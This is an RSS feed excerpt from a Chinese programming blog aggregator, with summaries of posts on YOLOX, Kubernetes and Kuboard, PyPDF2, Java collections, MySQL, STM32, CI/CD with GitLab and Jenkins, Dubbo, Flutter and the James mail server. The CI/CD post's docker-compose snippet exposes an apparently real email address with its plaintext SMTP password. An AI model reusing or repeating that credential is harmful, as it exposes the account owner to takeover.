      <title>YOLOX报错FileNotFoundError: [Errno 2] No such file or directory: ‘xxx.xml‘个人解决方案</title>
      <link>https://bchobby.github.io/posts/bd90e0accedb211e3739559df830cbb3/</link>
      <pubDate>Tue, 05 Jul 2022 16:56:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd90e0accedb211e3739559df830cbb3/</guid>
      <description>在训练YOLOX的时候，每训练10次，进行模型评估的时候，会报错停止，完整报错信息如下：&#xA;2022-07-05 16:19:49 | ERROR | yolox.core.launch:98 - An error has been caught in function &#39;launch&#39;, process &#39;MainProcess&#39; (17800), thread &#39;MainThread&#39; ( 26892): Traceback (most recent call last): File &#34;E:\Study\DeepLearn\DPlearn\YOLO\YOLOX\tools\train.py&#34;, line 134, in &amp;lt;module&amp;gt; launch( └ &amp;lt;function launch at 0x00000270311B3310&amp;gt; &amp;gt; File &#34;C:\ProgramData\Anaconda3\lib\site-packages\yolox-0.3.0-py3.9.egg\yolox\core\launch.py&#34;, line 98, in launch main_func(*args) │ └ (╒═══════════════════╤═══════════════════════════════════════════════════════════════════════════════════════════════════════... └ &amp;lt;function main at 0x0000027031C8FE50&amp;gt; File &#34;E:\Study\DeepLearn\DPlearn\YOLO\YOLOX\tools\train.py&#34;, line 118, in main trainer.train() │ └ &amp;lt;function Trainer.train at 0x0000027034191280&amp;gt; └ &amp;lt;yolox.</description>
    </item>
    <item>
      <title>基础容器知识-POD</title>
      <link>https://bchobby.github.io/posts/44e8fcb394386ad31d3aad93ee7bff55/</link>
      <pubDate>Tue, 05 Jul 2022 15:31:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44e8fcb394386ad31d3aad93ee7bff55/</guid>
      <description>• pod是k8s系统中的最小部署单元&#xA;• pod是由一个或多个容器组成。&#xA;• 一个pod中容器共享网络命名空间&#xA;• 每个pod都有一个根容器（pause容器）用来管理pod中的用户业务容器&#xA;• 创建容器使用docker,一个docker对应一个应用程序，一个容器运行一个应用程序&#xA;• Pod是多进程设计，运行多个应用程序&#xA;• 一个pod有多个容器，一个容器里面运行一个应用程序&#xA;• Pod存在未了亲密性应用&#xA;• 两个应用直接进行校核&#xA;• 网络之间调用&#xA;• 两个应用需要频繁调用&#xA;由于容器本身之间相互隔离，通过linux namespace、group组实现隔离。那么space用于隔离文件系统，进程和网络。&#xA;（1） 文件系统隔离：每个容器都有自己的root文件系统&#xA;（2） 进程隔离：每个容器都运行在自己的进程环境&#xA;（3） 网络隔离：容器间的虚拟网络接口和IP都是分开的&#xA;（4） pod要实现共享网络机制，需要具备同一个pod里面的容器共享namespace</description>
    </item>
    <item>
      <title>Kuboard【k8s图形化界面管理】安装全过程</title>
      <link>https://bchobby.github.io/posts/7fa6b1ff5901adc23cb3fcac48b0d3b8/</link>
      <pubDate>Tue, 05 Jul 2022 14:46:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fa6b1ff5901adc23cb3fcac48b0d3b8/</guid>
      <description>文章目录&#xA;前言一、Kuboard是什么二、安装步骤 1.安装Kuboard-Spray2.进入Kuboard总结 前言 说Kuboard之前我们得先了解一下Kubernetes，Kubernetes是一个可以移植、可扩展的开源平台，使用 声明式的配置 并依据配置信息自动地执行容器化应用程序的管理。在所有的容器编排工具中（类似的还有 docker swarm / mesos等），Kubernetes的生态系统更大、增长更快，有更多的支持、服务和工具可供用户选择。&#xA;一、Kuboard是什么 Kuboad便是能够在Kubernetes中快速落实微服务，简便Kubernetes的操作，使初学者能够更快地上手Kubernetes的管理。&#xA;二、安装步骤 1.安装Kuboard-Spray Kuboard-Spray 是一款可以在图形界面引导下完成 Kubernetes 高可用集群离线安装的工具&#xA;取一台服务器或虚拟机，执行一条命令，即可完成 Kuboard-Spray 的安装。&#xA;对这台服务器的最低要求为：&#xA;1核2G不少于 10G 磁盘空余空间已经安装好 docker docker run -d \ --privileged \ --restart=unless-stopped \ --name=kuboard-spray \ -p 80:80/tcp \ -v /var/run/docker.sock:/var/run/docker.sock \ -v ~/kuboard-spray-data:/data \ eipwork/kuboard-spray:latest-amd64 # 如果抓不到这个镜像，可以尝试一下这个备用地址： # swr.cn-east-2.myhuaweicloud.com/kuboard/kuboard-spray:latest-amd64 这个命令一般是在命令行执行，等待执行完成后&#xA;在浏览器打开地址 http://这台机器的IP，输入用户名 admin，默认密码 Kuboard123，即可登录 Kuboard-Spray 界面。&#xA;进入界面后，我们选择系统设置这个选项，然后再选择其中的资源包管理，因为我们下载的是最新版本的所以和图示有点差别，但是我们随便选择哪一个都不影响结果。&#xA;点击 导入 按钮，在界面的引导下完成资源包的加载。&#xA;重要&#xA;权限问题 导入资源包时，可能会碰到 no such file or directory 或者 permission denied 之类的错误提示，通常是因为您开启了 SELinux，导致 kuboard-spray 不能读取映射到容器 /data 的路径离线导入 如果您处在内网环境，上图中的列表默认将是空的，请注意其中的 离线加载资源包 按钮，它可以引导您轻松完成资源包的离线加载过程。 在下载的过程中，会有一个命令提示你在命令行中查看进度，可以试一下。下载完成后我们进入集群管理这个界面。</description>
    </item>
    <item>
      <title>云上有AI，让地球科学研究更省力</title>
      <link>https://bchobby.github.io/posts/6a3823705724f8f4c20d04c2cbf87199/</link>
      <pubDate>Tue, 05 Jul 2022 13:11:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a3823705724f8f4c20d04c2cbf87199/</guid>
      <description> 简介：达摩院发布AI Earth地球科学云平台，将免费向科研人员开放，助力云上地球科学研究。 对于遥感卫星，我们并不陌生，一颗颗遥感卫星，就是人类安放在近地轨道和外太空的眼睛，他们准确、勤恳、不知疲倦地帮我们观察着地球。&#xA;但卫星收集回来的数据，却不会像1+1=2这样简单浅显地呈现出来，要把卫星遥感数据翻译成可供我们使用的有效信息，按照传统方式，一般分为三步走：&#xA;向卫星数据运营机构申请获取数据，或者下载行业公开数据； 将数据在本地计算机进行存储配置； 对本地的数据进行处理、分析和研究。 而分析环节对机器的计算和存储资源要求非常高，普通计算机难以胜任分析大规模的影像数据。另一方面，针对海量卫星遥感数据的分析，传统方法自动化程度低、成本高、解译效率低的难题一直未能解决。&#xA;达摩院AI Earth地球科学云平台，一个解决上述问题的综合功能平台应运而生。&#xA;AI Earth地球科学云平台基于达摩院在深度学习、计算机视觉、地理空间分析等方向上的技术积累，结合阿里云强大算力支撑，提供遥感、气象等多源对地观测数据的云计算分析服务，用数据感知地球世界，让AI助力科学研究。&#xA;如果您有以下使用需求：&#xA;个人用户，需要便捷获取海量公开遥感数据，并进行高效云上处理分析。&#xA;政企用户，需要基于自身业务场景，验证遥感AI能力，打造线下专有云系统。&#xA;欢迎体验AI Earth地球科学云平台，目前平台已支持多种公开数据在线检索、遥感影像在线分析以及相关数据管理功能。&#xA;多源数据检索&#xA;目前平台已上线Landsat 5、Landsa 7、Landsa 8、Landsa 9、Sentinel-1、Sentinel-2、MODIS等公开数据集，更多专题数据正在更新中，详细数据规格信息请参见数据集介绍页面。&#xA;平台支持四种方式确定检索区域：1.通过POI信息检索；2.通过行政区划检索；3.在地图上圈画区域检索；4.上传包含地理信息的矢量文件检索。确定检索区域范围后，继续筛选数据采集时间、数据类型、云量等信息，点击检索按钮即可得到所需数据列表。&#xA;在线数据处理&#xA;平台以达摩院遥感AI能力为优势，针对高分数据，支持地物分类、变化检测、建筑物提取、地块提取等多种遥感AI在线解译工具，针对Sentinel-1等雷达数据，上线了SAR数据AI水体提取功能。&#xA;此外，平台还提供了指数计算、镶嵌裁切、波段融合、坐标转换、栅格重采样、图斑优化、时序图制作等八类通用型栅格、矢量基础处理工具，更多遥感数据处理原子能力正在持续上云。&#xA;云GIS工作空间&#xA;平台基于GIS专业软件工作视角，以图层叠加方式呈现各类遥感数据，通过工具箱模式归类各种遥感数据处理算子，实现便捷高效的栅格和矢量数据在线处理。&#xA;对于数据处理流程，平台目前采用无代码低门槛的GUI操作链路，后期版本已规划支持基于JavaScript和Python的开发者模式，满足更多开发者用户使用需求。&#xA;多源数据管理&#xA;平台支持用户在线管理收藏的公开数据、自主上传的高分数据以及经平台分析处理后的成果数据。&#xA;近期，平台将持续完善公开数据集和数据处理原子能力，支持用户在云上完成各类遥感数据分析处理工作，免去各类原始数据查找下载的繁琐链路，数据成果可以直接云端应用或下载到本地。&#xA;模型训练&#xA;平台支持用户在线模型训练、模型管理、样本标注、以及样本库管理。&#xA;岁末年初达摩院发布了2022十大科技趋势，AI Earth就是十大趋势之首——AI for Science的实例应用。&#xA;千百年来，实验科学和理论科学是科学界的两大基础范式。“人”发现科学规律，然后运用；“人”再从大量的实验数据中，总结科学规律。&#xA;如今人工智能正在催生新的科研范式，AI可以自主发现科学规律。换言之，是AI从大量的数据中发现新规律，然后交给人类来运用。&#xA;开放的地球科学云平台，不仅带来效率的显著提升，让研究者从繁杂的数据获取分析步骤中解放出来；更科技、更高效、更便捷的AI正在伴随人类一起对母星地球探测出更深入的认知。&#xA;AI Earth 地球科学云平台（https://engine-aiearth.aliyun.com）&#xA;原文链接：https://developer.aliyun.com/article/982052?&#xA;版权声明：本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。 </description>
    </item>
    <item>
      <title>用python删除pdf文件的特定页码</title>
      <link>https://bchobby.github.io/posts/d81ebdc0640b58d529b7fb686e6b0c17/</link>
      <pubDate>Tue, 05 Jul 2022 11:33:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d81ebdc0640b58d529b7fb686e6b0c17/</guid>
      <description>#pip install PyPDF2模块&#xA;#代码文件写好源文件和目标文件完整路径&#xA;#调用函数，参数写好要删除的页码即可&#xA;from PyPDF2 import PdfFileWriter,PdfFileReader&#xA;fn1=r&#39;C:\Users\asus\Desktop\s\零起点PYTHON机器学习快速入门2.pdf&#39;&#xA;fn2=r&#39;C:\Users\asus\Desktop\s\零起点PYTHON机器学习快速入门3.pdf&#39;&#xA;def PDF_delete(index):&#xA;#参数是一个整数列表，列表里是要删除的页码&#xA;output = PdfFileWriter() # 声明一个用于输出PDF的实例&#xA;input1 = PdfFileReader(open(fn1, &#34;rb&#34;)) # 读取本地PDF文件&#xA;pages = input1.getNumPages() # 读取文档的页数&#xA;for i in range(pages):&#xA;if i + 1 in index:&#xA;continue # 待删除的页面&#xA;output.addPage(input1.getPage(i)) # 读取PDF的第i页，添加到输出Output实例中&#xA;outputStream = open(fn2, &#34;wb&#34;)&#xA;output.write(outputStream) # 把编辑后的文档保存到本地&#xA;PDF_delete(list(range(2)))</description>
    </item>
    <item>
      <title>【java】ArrayList，LinkedList晚自习整理</title>
      <link>https://bchobby.github.io/posts/4e04c94b30cb8c42452e3ed4f03868ec/</link>
      <pubDate>Mon, 04 Jul 2022 18:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e04c94b30cb8c42452e3ed4f03868ec/</guid>
      <description>Array和ArrayList的区别是什么？ Array是数组，ArrayList是类&#xA;Array是定长的（需要手动扩容），ArrayList长度可变（使用过程中自动扩容）&#xA;ArrayList的底层是Array&#xA;ArrayList和LinkedList的区别是什么？&#xA;1.底层数据结构的实现：ArrayList底层数据结构是动态数组，而LinkedList的底层数据结构是双向链表&#xA;2.随机访问（即读）效率：ArrayList比LinkedList在随机访问的时候效率要高，因为ArrayList底层是数组，可以通过索引号快速访问，LinkedList是通过二分查找法遍历链表节点进行查找的&#xA;3.增加和删除效率：在非首尾的增加和删除操作，LinkedList要比ArrayList效率要高，因为ArrayList增删操作需要大量的前移或后移，在这个过程中涉及到大量的赋值操作比较耗时，LinkedList只需要修改节点对象的左右指针即可。&#xA;4.内存占用空间：LinkedList比ArrayList更占内存，因为LinkedList的节点除了存储数据，还存储了两个引用，一个指向前一个元素，一个指向后一个元素&#xA;5.总和来说，在需要频繁读取集合中元素的时候，更推荐使用ArrayList，而在插入和删除操作较多时推荐使用LinkedList&#xA;你知道几种遍历ArrayList的方式？ 遍历ArrayList和LinkedList的几种方式：&#xA;普通for循环增强型for循环forEach循环迭代器 ArrayList&amp;lt;String&amp;gt; list=new ArrayList&amp;lt;&amp;gt;();&#xA;list.add(&#34;张飞&#34;);&#xA;list.add(&#34;关羽&#34;);&#xA;list.add(&#34;马超&#34;);&#xA;list.add(&#34;赵云&#34;);&#xA;list.add(&#34;黄忠&#34;);&#xA;System.out.println(&#34;********遍历方式一：普通for循环********&#34;);&#xA;for (int i = 0; i &amp;lt; list.size(); i++) {&#xA;System.out.println(list.get(i));&#xA;}&#xA;System.out.println(&#34;********遍历方式二：增强型for循环********&#34;);&#xA;//1.增强型for循环中不需要写循环四要素&#xA;//2.不需要手动执行list.get()操作了&#xA;for (String item : list) {//每循环一次会自动从list中取出元素赋给临时变量，直到没有下一个元素自动退出&#xA;System.out.println(item);&#xA;}&#xA;System.out.println(&#34;********遍历方式三：forEach循环********&#34;);&#xA;//list调用forEach函数&#xA;//forEach函数的参数是一个箭头函数&#xA;//箭头函数的语法是（参数名）-&amp;gt;{}&#xA;//隐式循环forEach函数中循环&#xA;//forEach函数会遍历list，取出每一个值后，会回调你的箭头函数，把参数传给箭头函数的参数&#xA;list.forEach((item)-&amp;gt;{&#xA;System.out.println(item);&#xA;});&#xA;list.forEach((item)-&amp;gt; System.out.println(item));&#xA;System.out.println(&#34;********遍历方式四：迭代器********&#34;);&#xA;//调用iterator（）方法，取出一个迭代器对象&#xA;//使用iterator类声明一个迭代器指针，迭代器的泛型必须与list的泛型一致&#xA;Iterator&amp;lt;String&amp;gt; iterator=list.iterator();&#xA;//迭代器的hasNext可以判断是否还有下一个元素&#xA;while (iterator.hasNext()){&#xA;//迭代器的next方法可以取出下一个元素&#xA;String item=iterator.next();&#xA;System.out.println(item);&#xA;}</description>
    </item>
    <item>
      <title>mysql中thread_id,processlistid,os_id等详解</title>
      <link>https://bchobby.github.io/posts/ba1730449d4247b2ae8d8d2af4281f3e/</link>
      <pubDate>Mon, 04 Jul 2022 17:32:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba1730449d4247b2ae8d8d2af4281f3e/</guid>
      <description>perforamance_schema.threads表中：THREAD_ID，PROCESSLIST_ID，THREAD_OS_ID information_schema.innodb_trx表中: trx_mysql_thread_id, trx_id thread_id: 仅在perforamance_schema中使用，是其内部自动增长的计数器，前台和后台线程均有这个id，且thread_id和thread_os_id相关联。&#xA;processlistid： 一般在mysql层使用，跟前台登录会话相关联，是真正的线程ID。&#xA;processlistid和前台用户直接相关，每创建一个登录会话，就会新增一个processlistid。&#xA;在performance_schema.threads表中，后台线程没有processlistID的值，这个值是NULL，这是因为后台线程不是登录用户所创建的，但是前后台线程都会有thread_os_id和thread_id的值，因为所有线程最终都要依赖OS线程执行，thread_id和thread_os_id有一定的对应关系。&#xA;**thread_os_id:**系统内部分配的线程ID,与ps -ef 出来的mysql线程号相同，top -H -p mysqld_pid，当然，OS不会为每一个会话创建os_id。&#xA;**trx_mysql_thread_id:**这个参数的值和processlistid相同，即执行事务的前台线程id，也即会话ID。&#xA;trx_mysql_thread_id: 即show processlist结果中的ID，也就是performance_schema.thread表中的processlistid;&#xA;**trx_id:**事务使用&#xA;因此：一般情况下thread_id和thread_os_id不需要关注，只是用来性能库和后台使用。&#xA;一个事务的trx_id会关联一个trx_mysql_thread_id，而trx_mysql_thread_id的值又等同于processlistid(也是session id)，通过processlistid去performance_schema.threads表可找到thread_id和thread_os_id 。&#xA;当需要kill掉一个事务时，不能直接kill thread_os_id，这样会导致数据库重启，且重启后事务会继续执行，因为事务具有原子性；如果直接执行kill processlistid或kill trx_mysql_thread_id或kill session_id，这也是我们常用的操作，这会使事务对应的trx_mysql_thread_id置为0，事务会rollback。&#xA;参考链接(https://www.likecs.com/show-204561278.html)</description>
    </item>
    <item>
      <title>STM32相关手册使用记录</title>
      <link>https://bchobby.github.io/posts/83d3b246a6ee431f9a692cf7f16521e8/</link>
      <pubDate>Mon, 04 Jul 2022 16:46:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83d3b246a6ee431f9a692cf7f16521e8/</guid>
      <description>目录 一、概述二、手册获取2.1 芯片手册2.2 库手册和官方DEMO 三、手册内容3.1 数据手册3.1.1 查看外设挂载哪条总线 3.2 参考手册3.2.1 查看芯片flash页大小，最小存储单位3.2.2 STM32G0写flash的八字节对齐3.3.3 STM32唯一序列号UID 3.3 编程手册3.4 勘误手册 一、概述 当选用一款MCU后，进行开发前肯定要先拿到对应的手册。做固件开发，和硬件芯片选型的关注点是不一样的。除了基本的电气特性、片上资源外设情况，还要关注具体寄存器、标准库/HAL库的接口等。&#xA;本文主要是记录下STM32开发过程中，相关手册的使用。&#xA;随着手册查阅情况，陆续更新到各小节的笔记。&#xA;二、手册获取 2.1 芯片手册 这个肯定直接去官网下载了。直接搜索ST官网进入：&#xA;进入官网以后，直接在搜索框输入自己的芯片型号。英文不是很好，可以在右上角切换为中文。随着输入，下方会列出相关型号，以STM32F103RCT6为例：&#xA;搜索结果如下图，选择文件一栏，会给出提供的文档列表。按需下载即可：&#xA;2.2 库手册和官方DEMO STM32标准库官网下载方法。STM32 HAL库手册获取和查阅方法以及查看官方例程。 三、手册内容 3.1 数据手册 这个手册最为简洁明了。主要是芯片的电气物理特性，也可快速查看外设情况、空间资源、管脚定义等。&#xA;3.1.1 查看外设挂载哪条总线 使用STM32CubeMX生成工程时，并没有显示出CAN挂载在APB1还是APB2上：&#xA;打开芯片手册《stm32f103rc.pdf》，查看时钟树上也是没有标出的：&#xA;翻来翻去，结果就在时钟树的上一页。有点一叶障目不见泰山的意思：&#xA;3.2 参考手册 参考手册是RMXXXX开头：&#xA;下载后查看，可以看到RM即Reference Manual：&#xA;这个详细说明了芯片外设的特性和使用方法，包括寄存器定义说明。以ADC为例，目录如下：&#xA;通常有中文版本。&#xA;3.2.1 查看芯片flash页大小，最小存储单位 在编程过程中，对flash进行操作是必不可少的，比如参数存储、boot升级等。这时就需要确定flash的页大小以便进行擦除等操作。&#xA;可以看到同为STM32F1系列，不同容量，页的大小是不一样的。那么在分配参数空间时，就需要具体考虑。&#xA;也可以查看闪存编程手册（本文3.3编程手册中提供），里面有对flash更详细的描述。&#xA;3.2.2 STM32G0写flash的八字节对齐 //2022.2.9&#xA;在做boot程序过程中发现，不管是rtthread的drv_flash_g0.c和drv_flash_f1.c，还是裸机下的g0和f1，写flash存在差异：&#xA;左边是f1，右边是g0。从代码上看，g0要求地址8字节对齐，且以doubleword写入。而读flash是一致的：&#xA;翻看手册查找下依据。查看STM32G0编程手册：&#xA;在STM32F1的参考手册中可以看到：&#xA;参考链接：STM32L4系列内部FLASH双字编程示例。&#xA;3.3.3 STM32唯一序列号UID STM32唯一序列号UID–HAL_GetUIDw0详解。&#xA;3.3 编程手册 这里编程手册提供了两个：&#xA;闪存编程手册，对flash有更详细的描述。&#xA;3.4 勘误手册 STm32一次擦除多少页&#xA;资源大小</description>
    </item>
    <item>
      <title>html2canvas&#43;jsPDF实现横向打印iframe中的内容</title>
      <link>https://bchobby.github.io/posts/835c799c8d76c707ec6be0375c02b75c/</link>
      <pubDate>Mon, 04 Jul 2022 14:55:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/835c799c8d76c707ec6be0375c02b75c/</guid>
      <description>需要用到的插件：html2canvas jsPDF.debug.js jquery html2canvas github地址：https://github.com/niklasvh/html2canvas&#xA;jsPDF和html2canvas插件已上传到我的阿里云网盘（需要自取），地址：&#xA;https://www.aliyundrive.com/s/auACtPpkw4w&#xA;效果预览&#xA;html2暂时不支持IE内核浏览器&#xA;//判断浏览器内核是否是IE if(!!window.ActiveXObject || &#34;ActiveXObject&#34; in window){ alert(&#39;截图打印暂不支持IE内核浏览器，请更换火狐或谷歌chrome内核浏览器，360等双核浏览器请切换至极速模式&#39;); return; } //获取iframe var shareContent = document.getElementById(&#39;form_iframe&#39;); //滚动iframe到顶部,如果不在顶部会截不完整 shareContent.contentWindow.scrollTo(0,0); //获取iframe的宽高 var width = shareContent.contentWindow.document.documentElement.scrollWidth; var height = shareContent.contentWindow.document.documentElement.scrollHeight; var canvas = document.createElement(&#34;canvas&#34;); //创建一个canvas节点 //定义任意放大倍数 支持小数,表单内容过多，请尽量往小了调。目前测试，打印3页chrome下会出现崩溃 var scale = 1.5; canvas.width = width * scale; //定义canvas 宽度 * 缩放 canvas.height = height * scale ; //定义canvas高度 *缩放 canvas.style.width = width * scale + &#34;px&#34;; canvas.</description>
    </item>
    <item>
      <title>前端CI/CD,从零开始,彻底弄懂前端自动化构建和部署</title>
      <link>https://bchobby.github.io/posts/211f98b92a883aef9763dd5f45fca5d3/</link>
      <pubDate>Mon, 04 Jul 2022 10:55:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/211f98b92a883aef9763dd5f45fca5d3/</guid>
      <description>实现思路 1.程序员在本地进行开发&#xA;2.程序员将修改后的代码提交到gitlab代码仓库&#xA;3.gitlab收到代码后通过webhook通知jenkins进行构建&#xA;4.jenkins构建好了以后将构建好以后的代码发布的到线上服务器&#xA;优势 gitlab、jenkins、生产服务器这三个服务都可以分布在不同的服务器, 所以大大提高了可配置性也降低了耦合&#xA;环境准备 gitlab代码仓库(可以在线上, 也可以在本地)jenkins服务(可以跟gitlab不在同一个服务器上, 但是这里没有必要, 我把gitlab和jenkins都部署在本地服务器)生产环境 gitlab和jenkins服务我都是通过docker-compose进行安装的, 这个具体我就不多说了,&#xA;下面我贴一下docker-compose.yml文件&#xA;# gitlab的docker-compose.yml文件 version: &#34;3&#34; services: gitlab: image: twang2218/gitlab-ce-zh container_name: gitlab restart: always privileged: true hostname: &#39;192.168.4.2&#39; environment: TZ: &#39;Asia/Shanghai&#39; GITLAB_OMNIBUS_CONFIG: | external_url &#34;http://192.168.4.2:82&#34; gitlab_rails[&#39;time_zone&#39;] = &#39;Asia/Shanghai&#39; gitlab_rails[&#39;gitlab_shell_ssh_port&#39;] = 2222 gitlab_rails[&#39;gitlab_email_enabled&#39;] = true gitlab_rails[&#39;gitlab_email_from&#39;] = &#39;liaoxubao@aliyun.com&#39; gitlab_rails[&#39;gitlab_email_display_name&#39;] = &#39;liaoo&#39; gitlab_rails[&#39;smtp_enable&#39;] = true gitlab_rails[&#39;smtp_address&#39;] = &#34;smtp.aliyun.com&#34; gitlab_rails[&#39;smtp_port&#39;] = 465 gitlab_rails[&#39;smtp_user_name&#39;] = &#34;liaoxubao@aliyun.com&#34; gitlab_rails[&#39;smtp_password&#39;] = &#34;jhudkir123&#34; gitlab_rails[&#39;smtp_domain&#39;] = &#34;</description>
    </item>
    <item>
      <title>Dubbo之ServiceBean</title>
      <link>https://bchobby.github.io/posts/0b391f50e500505a03fa4ba2bb489361/</link>
      <pubDate>Mon, 04 Jul 2022 08:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b391f50e500505a03fa4ba2bb489361/</guid>
      <description>什么是ServiceBean dubbo的服务，生成的spring的bean定义类型都是ServiceBean。也就是dubbo的注解@Service和配置文件里的dubbo:service/生成的bean定义类型都是ServiceBean。&#xA;举个例子：&#xA;接口&#xA;package com.mytest.dubbo; public interface DemoService { } 实现类&#xA;package com.mytest.dubbo; import com.alibaba.dubbo.config.annotation.Service; @Service public class DemoServiceImpl implements DemoService { } main方法&#xA;public static void main(String[] args) throws IOException { AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DemoDubboConfig.class); context.start(); ServiceBean bean = (ServiceBean)context.getBean(&#34;ServiceBean:com.mytest.dubbo.DemoService&#34;); System.out.println(bean); } context.getBean(“ServiceBean:com.mytest.dubbo.DemoService”)获取到的就是dubbo服务的bean。&#xA;Dubbo服务的bean定义在哪配置？ Dubbo服务的bean定义在哪配置，也就是ServiceBean在哪里设置的？&#xA;以下代码展示都是基于2.6.12的版本&#xA;首先在配置类上增加注解@EnableDubbo，开启dubbo，接着就可以看下@EnableDubbo是怎么工作的，最终把ServiceBean注册到spring中的。&#xA;@Configuration @EnableDubbo(scanBasePackages = &#34;com.mytest.dubbo&#34; ) public class DemoDubboConfig { } @EnableDubbo上有@DubboComponentScan，再看@DubboComponentScan上导入了DubboComponentScanRegistrar.class，该类实现了ImportBeanDefinitionRegistrar接口，springIOC在执行过程中会调用ImportBeanDefinitionRegistrar接口的registerBeanDefinitions方法，用于注册bean定义。&#xA;@EnableDubboConfig @DubboComponentScan public @interface EnableDubbo { } @Import(DubboComponentScanRegistrar.class) public @interface DubboComponentScan { } public class DubboComponentScanRegistrar implements ImportBeanDefinitionRegistrar { } 接着来看下registerBeanDefinitions方法，该方法往springIOC注册了ServiceAnnotationBeanPostProcessor bean定义，该类实现了BeanDefinitionRegistryPostProcessor接口，在springIOC执行过程中又会执行postProcessBeanDefinitionRegistry方法。</description>
    </item>
    <item>
      <title>__attribute__ ((at())绝对定位分析</title>
      <link>https://bchobby.github.io/posts/da38727b76d8883e1c89c4f8e0ff6352/</link>
      <pubDate>Sun, 03 Jul 2022 22:00:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da38727b76d8883e1c89c4f8e0ff6352/</guid>
      <description>在学习STM32 IAP 时,遇到了关于数组存储空间绝对定位的问题,例如:&#xA;u8 USART_RX_BUF[USART_REC_LEN] attribute ((at(0X20001000)));&#xA;首先我们先搞懂这里的两个关键字.&#xA;1.attribute 是用来指定变量或结构位域的特殊属性,该关键字后的双括弧中的内容是属性说明.&#xA;2.at 关键字可以用来设置变量的绝对地址,也就是通过这个关键字,指定某个变量处于内存里面的某个给定的地址.&#xA;那么上面的那条语句的意思就是,将 USART_RX_BUF 数组的首地址设定为 0X20001000 (SRAM内存地址区域).&#xA;————————————————&#xA;版权声明：本文为CSDN博主「智小星」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/xinghuanmeiying/article/details/79563650</description>
    </item>
    <item>
      <title>Flutter - flutter_picker选择器封装 （底部弹出，包含日期，单列、多列文本）</title>
      <link>https://bchobby.github.io/posts/688440f12050732cdeac6caaa3dddd37/</link>
      <pubDate>Sun, 03 Jul 2022 16:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/688440f12050732cdeac6caaa3dddd37/</guid>
      <description>demo 地址: https://github.com/iotjin/jh_flutter_demo 以下代码不是最新代码，最新版支持对象数组数据格式和自定义UI，请前往github下载&#xA;使用版本 flutter_picker: ^1.1.0 date_format: ^1.0.8 #时间处理 包地址 flutter_picker packages地址 date_format packages地址 （判断上下午使用了） ###效果图&#xA;使用方法 导入 jhPickerTool.dart&#xA;单列选择器 var aa = [&#34;11&#34;,&#34;22&#34;,&#34;33&#34;,&#34;44&#34;]; // var aa = [11,22,33,44]; JhPickerTool.showStringPicker(context, data: aa, // normalIndex: 2, // title: &#34;请选择2&#34;, clickCallBack: (int index,var str){ print(index); print(str); } ); 多列选择器 var bb = [[&#34;11&#34;,&#34;22&#34;],[&#34;33&#34;,&#34;44&#34;],[&#34;55&#34;,&#34;66&#34;]]; // var bb = [[1,2],[3,4],[&#34;5&#34;,&#34;6&#34;]]; JhPickerTool.showArrayPicker(context, data: bb, // title: &#34;请选择2&#34;, // normalIndex: [0,1,0], clickCallBack:(var index, var strData){ print(index); print(strData); } ); 日期选择器 JhPickerTool.</description>
    </item>
    <item>
      <title>开源邮件服务器James 3.5.x 二次开发将邮件内容推送到kafka 源码、可执行程序、部署过程分享</title>
      <link>https://bchobby.github.io/posts/7589e563943095f11c76bd9cecae40bc/</link>
      <pubDate>Sun, 03 Jul 2022 14:31:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7589e563943095f11c76bd9cecae40bc/</guid>
      <description> 参考的原安装步骤文档：https://blog.csdn.net/qq_35280133/article/details/109559023&#xA;此项目百度网盘下载链接：&#xA;链接：https://pan.baidu.com/s/1g1EQVpsDLMANUsQl8sVkoA&#xA;提取码：dgap&#xA;使用步骤 一、准备环境 JDK1.8 mysql驱动包8.0 centos7 --网盘下载下来的压缩包已经包mysql驱动包&#xA;二、部署james服务、修改配置、创建初始用户&#xA;1、在linux操作系统上新建一个目录用于上传james jar包，我建的目录是/aiops/local&#xA;2、将压缩包上传到/aiops/local 解压&#xA;tar -zxvf james-server-app-3.5.1-SNAPSHOT.tar 3、配置数据库&#xA;vim james-database.properties 4、 配置域名&#xA;vim domainlist.xml 5、&#xA;vim mailetcontainer.xml 6、&#xA;vim smtpserver.xml 7、启动james服务器（注意先创建/aiops/log/james目录）&#xA;cd /aiops/local/james-server-app-3.5.1-SNAPSHOT/bin ; nohup ./run.sh &amp;gt;&amp;gt;/aiops/log/james /james.log &amp;amp; 8、添加邮箱账户&#xA;./james-cli.sh -h localhost -p 9999 adddomain dbemail.aiops.com ./james-cli.sh -h localhost -p 9999 AddUser aiops@dbemail.aiops.com 123456 </description>
    </item>
    <item>
      <title>如何展开Collapse 的所有折叠面板</title>
      <link>https://bchobby.github.io/posts/950ef3b5e1cc5a5887a1819d9c91b0cc/</link>
      <pubDate>Sat, 02 Jul 2022 20:02:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/950ef3b5e1cc5a5887a1819d9c91b0cc/</guid>
